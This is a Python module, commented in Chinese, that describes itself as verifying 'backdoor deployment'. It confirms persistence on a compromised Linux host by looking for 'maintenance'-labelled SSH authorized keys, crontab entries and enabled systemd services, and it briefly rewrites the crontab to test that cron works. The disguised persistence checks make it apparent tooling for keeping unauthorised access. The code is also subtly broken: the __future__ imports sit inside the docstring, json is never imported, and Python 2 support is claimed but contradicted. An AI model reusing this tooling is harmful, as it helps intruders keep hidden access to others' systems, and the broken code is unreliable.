#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

部署验证模块
实现对后门部署结果的环境适配验证逻辑
包括SSH密钥登录测试、Crontab任务验证、systemd服务状态检查等
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import subprocess
import time
import socket
import tempfile
import threading
from datetime import datetime, timedelta
from core.utils import color_green, color_red, color_yellow, color_blue, run_command_compat




class DeploymentVerifier:
    """部署验证器"""
    
    def __init__(self):
        self.verification_results = {}
        self.test_timeout = 60  # 验证超时时间（秒）
        
    def verify_ssh_key_deployment(self, key_path="~/.ssh/authorized_keys", test_user=None, test_host="127.0.0.1"):
        """验证SSH密钥部署"""
        color_blue("正在验证SSH密钥部署...")
        
        try:
            # 检查authorized_keys文件是否存在
            auth_keys_path = os.path.expanduser(key_path)
            if not os.path.exists(auth_keys_path):
                self.verification_results['ssh_key'] = {
                    'success': False,
                    'error': "authorized_keys文件不存在: {}".format(auth_keys_path),
                    'suggestions': [
                        "检查SSH密钥是否正确部署",
                        "确认用户主目录权限正确",
                        "检查.ssh目录是否存在且权限为700"
                    ]
                }
                color_red("✗ SSH密钥验证失败: authorized_keys文件不存在")
                return False
            
            # 检查文件权限
            file_stat = os.stat(auth_keys_path)
            file_mode = oct(file_stat.st_mode)[-3:]
            if file_mode != '600':
                color_yellow("警告: authorized_keys权限为{}，建议设置为600".format(file_mode))
            
            # 读取密钥内容
            with open(auth_keys_path, 'r') as f:
                keys_content = f.read()
            
            if not keys_content.strip():
                self.verification_results['ssh_key'] = {
                    'success': False,
                    'error': "authorized_keys文件为空",
                    'suggestions': [
                        "重新部署SSH密钥",
                        "检查密钥生成过程是否正确"
                    ]
                }
                color_red("✗ SSH密钥验证失败: authorized_keys文件为空")
                return False
            
            # 查找维护密钥
            maintenance_keys = []
            for line in keys_content.split('\n'):
                if 'maintenance' in line.lower() and line.strip() and not line.startswith('#'):
                    maintenance_keys.append(line.strip())
            
            if not maintenance_keys:
                self.verification_results['ssh_key'] = {
                    'success': False,
                    'error': "未找到维护密钥",
                    'suggestions': [
                        "检查密钥部署是否成功",
                        "确认密钥注释包含'maintenance'关键词"
                    ]
                }
                color_red("✗ SSH密钥验证失败: 未找到维护密钥")
                return False
            
            # 尝试SSH连接测试（如果有测试密钥）
            ssh_test_result = self._test_ssh_connection(test_host, test_user)
            
            self.verification_results['ssh_key'] = {
                'success': True,
                'keys_found': len(maintenance_keys),
                'file_permissions': file_mode,
                'ssh_test': ssh_test_result,
                'timestamp': datetime.now().isoformat()
            }
            
            color_green("✓ SSH密钥验证成功: 找到{}个维护密钥".format(len(maintenance_keys)))
            return True
            
        except Exception as e:
            self.verification_results['ssh_key'] = {
                'success': False,
                'error': str(e),
                'suggestions': [
                    "检查文件系统权限",
                    "确认SSH服务配置正确",
                    "检查SELinux/AppArmor设置"
                ]
            }
            color_red("✗ SSH密钥验证异常: {}".format(e))
            return False
    
    def _test_ssh_connection(self, host, user=None):
        """测试SSH连接"""
        try:
            if not user:
                user = os.getenv('USER', 'root')
            
            # 检查SSH服务是否运行
            ssh_check = subprocess.run(['systemctl', 'is-active', 'ssh'], 
                                     stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
            if ssh_check.returncode != 0:
                # 尝试sshd
                ssh_check = subprocess.run(['systemctl', 'is-active', 'sshd'], 
                                         stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
            
            ssh_service_active = ssh_check.returncode == 0
            
            # 检查SSH端口是否开放
            ssh_port_open = self._check_port(host, 22)
            
            return {
                'service_active': ssh_service_active,
                'port_open': ssh_port_open,
                'test_performed': True
            }
            
        except Exception as e:
            return {
                'service_active': False,
                'port_open': False,
                'test_performed': False,
                'error': str(e)
            }
    
    def verify_crontab_deployment(self, test_duration=120):
        """验证Crontab任务部署"""
        color_blue("正在验证Crontab任务部署...")
        
        try:
            # 检查crontab内容
            result = subprocess.run(['crontab', '-l'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
            
            if result.returncode != 0:
                self.verification_results['crontab'] = {
                    'success': False,
                    'error': "无法读取crontab内容",
                    'suggestions': [
                        "检查crontab服务是否运行: systemctl status cron",
                        "确认用户有crontab权限",
                        "检查/etc/cron.allow和/etc/cron.deny文件"
                    ]
                }
                color_red("✗ Crontab验证失败: 无法读取crontab内容")
                return False
            
            crontab_content = result.stdout
            
            # 查找维护任务
            maintenance_tasks = []
            for line in crontab_content.split('\n'):
                if 'maintenance' in line.lower() and not line.strip().startswith('#'):
                    maintenance_tasks.append(line.strip())
            
            if not maintenance_tasks:
                self.verification_results['crontab'] = {
                    'success': False,
                    'error': "未找到维护任务",
                    'suggestions': [
                        "重新部署Crontab任务",
                        "检查任务是否正确添加到crontab"
                    ]
                }
                color_red("✗ Crontab验证失败: 未找到维护任务")
                return False
            
            # 检查crond服务状态
            crond_status = self._check_cron_service()
            
            # 创建测试任务验证cron功能
            test_result = self._test_cron_functionality()
            
            self.verification_results['crontab'] = {
                'success': True,
                'tasks_found': len(maintenance_tasks),
                'crond_status': crond_status,
                'functionality_test': test_result,
                'timestamp': datetime.now().isoformat()
            }
            
            color_green("✓ Crontab验证成功: 找到{}个维护任务".format(len(maintenance_tasks)))
            return True
            
        except Exception as e:
            self.verification_results['crontab'] = {
                'success': False,
                'error': str(e),
                'suggestions': [
                    "检查cron服务状态",
                    "确认系统支持crontab",
                    "检查文件系统权限"
                ]
            }
            color_red("✗ Crontab验证异常: {}".format(e))
            return False
    
    def _check_cron_service(self):
        """检查cron服务状态"""
        try:
            # 尝试不同的cron服务名
            for service_name in ['cron', 'crond', 'crontab']:
                result = subprocess.run(['systemctl', 'is-active', service_name], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
                if result.returncode == 0:
                    return {
                        'service_name': service_name,
                        'active': True,
                        'status': result.stdout.strip()
                    }
            
            return {
                'service_name': 'unknown',
                'active': False,
                'status': 'inactive'
            }
            
        except Exception as e:
            return {
                'service_name': 'unknown',
                'active': False,
                'error': str(e)
            }
    
    def _test_cron_functionality(self):
        """测试cron功能"""
        try:
            # 创建临时测试文件路径
            test_file = "/tmp/.cron_test_{}".format(int(time.time()))
            
            # 创建1分钟后执行的测试任务
            test_command = "* * * * * touch {} && echo 'cron test' > {}".format(test_file, test_file)
            
            # 获取当前crontab
            result = subprocess.run(['crontab', '-l'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
            current_cron = result.stdout if result.returncode == 0 else ""
            
            # 添加测试任务
            new_cron = current_cron + "\n{}\n".format(test_command)
            
            # 设置新的crontab
            process = subprocess.Popen(['crontab', '-'], stdin=subprocess.PIPE, text=True)
            process.communicate(input=new_cron)
            
            if process.returncode != 0:
                return {
                    'test_performed': False,
                    'error': 'Failed to add test cron job'
                }
            
            color_yellow("已添加cron测试任务，等待70秒验证...")
            
            # 等待70秒检查文件是否创建
            time.sleep(70)
            
            test_passed = os.path.exists(test_file)
            
            # 清理测试任务
            try:
                # 移除测试任务
                clean_cron = current_cron  # 恢复原始crontab
                process = subprocess.Popen(['crontab', '-'], stdin=subprocess.PIPE, text=True)
                process.communicate(input=clean_cron)
                
                # 删除测试文件
                if os.path.exists(test_file):
                    os.remove(test_file)
            except:
                pass
            
            return {
                'test_performed': True,
                'test_passed': test_passed,
                'test_file': test_file
            }
            
        except Exception as e:
            return {
                'test_performed': False,
                'error': str(e)
            }
    
    def verify_systemd_service_deployment(self, service_pattern="maintenance"):
        """验证Systemd服务部署"""
        color_blue("正在验证Systemd服务部署...")
        
        try:
            # 查找维护相关的服务
            result = subprocess.run(['systemctl', 'list-units', '--type=service', '--all'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
            
            if result.returncode != 0:
                self.verification_results['systemd_service'] = {
                    'success': False,
                    'error': "无法列出systemd服务",
                    'suggestions': [
                        "检查systemd是否正常运行",
                        "确认系统支持systemctl命令",
                        "检查系统权限"
                    ]
                }
                color_red("✗ Systemd服务验证失败: 无法列出服务")
                return False
            
            services_output = result.stdout
            
            # 查找维护服务
            maintenance_services = []
            for line in services_output.split('\n'):
                if service_pattern in line.lower() and '.service' in line:
                    service_info = line.strip().split()
                    if len(service_info) >= 4:
                        maintenance_services.append({
                            'name': service_info[0],
                            'load': service_info[1],
                            'active': service_info[2],
                            'sub': service_info[3]
                        })
            
            if not maintenance_services:
                self.verification_results['systemd_service'] = {
                    'success': False,
                    'error': f"未找到包含'{service_pattern}'的服务",
                    'suggestions': [
                        "重新部署systemd服务",
                        "检查服务文件是否正确创建",
                        "运行 systemctl daemon-reload"
                    ]
                }
                color_red(f"✗ Systemd服务验证失败: 未找到包含'{service_pattern}'的服务")
                return False
            
            # 详细检查每个服务
            service_details = []
            for service in maintenance_services:
                service_name = service['name']
                
                # 检查服务是否启用
                enabled_result = subprocess.run(['systemctl', 'is-enabled', service_name], 
                                              stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
                is_enabled = enabled_result.stdout.strip() == 'enabled'
                
                # 检查服务是否活跃
                active_result = subprocess.run(['systemctl', 'is-active', service_name], 
                                             stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
                is_active = active_result.stdout.strip() == 'active'
                
                service_details.append({
                    'name': service_name,
                    'enabled': is_enabled,
                    'active': is_active,
                    'load_state': service['load'],
                    'active_state': service['active'],
                    'sub_state': service['sub']
                })
            
            # 检查是否有服务正常运行
            active_services = [s for s in service_details if s['active']]
            enabled_services = [s for s in service_details if s['enabled']]
            
            success = len(active_services) > 0 and len(enabled_services) > 0
            
            self.verification_results['systemd_service'] = {
                'success': success,
                'services_found': len(maintenance_services),
                'active_services': len(active_services),
                'enabled_services': len(enabled_services),
                'service_details': service_details,
                'timestamp': datetime.now().isoformat()
            }
            
            if success:
                color_green("✓ Systemd服务验证成功: 找到{}个服务，{}个运行中，{}个已启用".format(len(maintenance_services), len(active_services), len(enabled_services)))
            else:
                color_red(f"✗ Systemd服务验证失败: 服务未正确启用或运行")
                
            return success
            
        except Exception as e:
            self.verification_results['systemd_service'] = {
                'success': False,
                'error': str(e),
                'suggestions': [
                    "检查systemd服务状态",
                    "确认服务文件权限正确",
                    "检查SELinux/AppArmor设置"
                ]
            }
            color_red("✗ Systemd服务验证异常: {}".format(e))
            return False
    
    def verify_file_permissions(self, file_paths):
        """验证文件权限"""
        color_blue("正在验证文件权限...")
        
        permission_results = {}
        
        for file_path in file_paths:
            try:
                expanded_path = os.path.expanduser(file_path)
                
                if not os.path.exists(expanded_path):
                    permission_results[file_path] = {
                        'exists': False,
                        'error': 'File does not exist'
                    }
                    continue
                
                file_stat = os.stat(expanded_path)
                file_mode = oct(file_stat.st_mode)[-3:]
                file_owner = file_stat.st_uid
                file_group = file_stat.st_gid
                
                permission_results[file_path] = {
                    'exists': True,
                    'permissions': file_mode,
                    'owner_uid': file_owner,
                    'group_gid': file_group,
                    'size': file_stat.st_size
                }
                
            except Exception as e:
                permission_results[file_path] = {
                    'exists': False,
                    'error': str(e)
                }
        
        self.verification_results['file_permissions'] = permission_results
        return permission_results
    
    def _check_port(self, host, port, timeout=5):
        """检查端口是否开放"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(timeout)
            result = sock.connect_ex((host, port))
            sock.close()
            return result == 0
        except:
            return False
    
    def run_comprehensive_verification(self, deployment_results=None):
        """运行全面验证"""
        color_blue("开始全面部署验证...")
        
        verification_summary = {
            'total_checks': 0,
            'passed_checks': 0,
            'failed_checks': 0,
            'start_time': datetime.now().isoformat()
        }
        
        # SSH密钥验证
        if not deployment_results or 'ssh_key' in deployment_results:
            verification_summary['total_checks'] += 1
            if self.verify_ssh_key_deployment():
                verification_summary['passed_checks'] += 1
            else:
                verification_summary['failed_checks'] += 1
        
        # Crontab验证
        if not deployment_results or 'crontab' in deployment_results:
            verification_summary['total_checks'] += 1
            if self.verify_crontab_deployment():
                verification_summary['passed_checks'] += 1
            else:
                verification_summary['failed_checks'] += 1
        
        # Systemd服务验证
        if not deployment_results or 'systemd_service' in deployment_results:
            verification_summary['total_checks'] += 1
            if self.verify_systemd_service_deployment():
                verification_summary['passed_checks'] += 1
            else:
                verification_summary['failed_checks'] += 1
        
        # 文件权限验证
        important_files = [
            '~/.ssh/authorized_keys',
            '/etc/systemd/system/',
            '/var/spool/cron/'
        ]
        self.verify_file_permissions(important_files)
        
        verification_summary['end_time'] = datetime.now().isoformat()
        verification_summary['success_rate'] = (verification_summary['passed_checks'] / 
                                               verification_summary['total_checks'] * 100) if verification_summary['total_checks'] > 0 else 0
        
        # 显示验证结果
        self._display_verification_summary(verification_summary)
        
        return verification_summary
    
    def _display_verification_summary(self, summary):
        """显示验证摘要"""
        color_blue("\n=== 验证结果摘要 ===")
        color_green("总检查项: {}".format(summary['total_checks']))
        color_green("通过检查: {}".format(summary['passed_checks']))
        color_red("失败检查: {}".format(summary['failed_checks']))
        color_blue("成功率: {:.1f}%".format(summary['success_rate']))
        
        # 显示详细结果
        for check_type, result in self.verification_results.items():
            status = "✓" if result.get('success', False) else "✗"
            color = color_green if result.get('success', False) else color_red
            color("{} {}".format(status, check_type))
            
            if not result.get('success', False) and 'suggestions' in result:
                color_yellow("  建议:")
                for suggestion in result['suggestions']:
                    color_yellow("    - {}".format(suggestion))
        
        print()
    
    def get_verification_report(self):
        """获取验证报告"""
        return {
            'verification_results': self.verification_results,
            'timestamp': datetime.now().isoformat(),
            'verifier_version': '1.0'
        }

# 便捷函数
def quick_verify_deployment(deployment_results=None):
    """快速验证部署"""
    verifier = DeploymentVerifier()
    return verifier.run_comprehensive_verification(deployment_results)

if __name__ == "__main__":
    # 测试部署验证器
    color_blue("部署验证器测试")
    
    verifier = DeploymentVerifier()
    summary = verifier.run_comprehensive_verification()
    
    # 显示报告
    report = verifier.get_verification_report()
    print(json.dumps(report, indent=2, ensure_ascii=False))

# 为了兼容性，创建别名
DeploymentVerificationEngine = DeploymentVerifier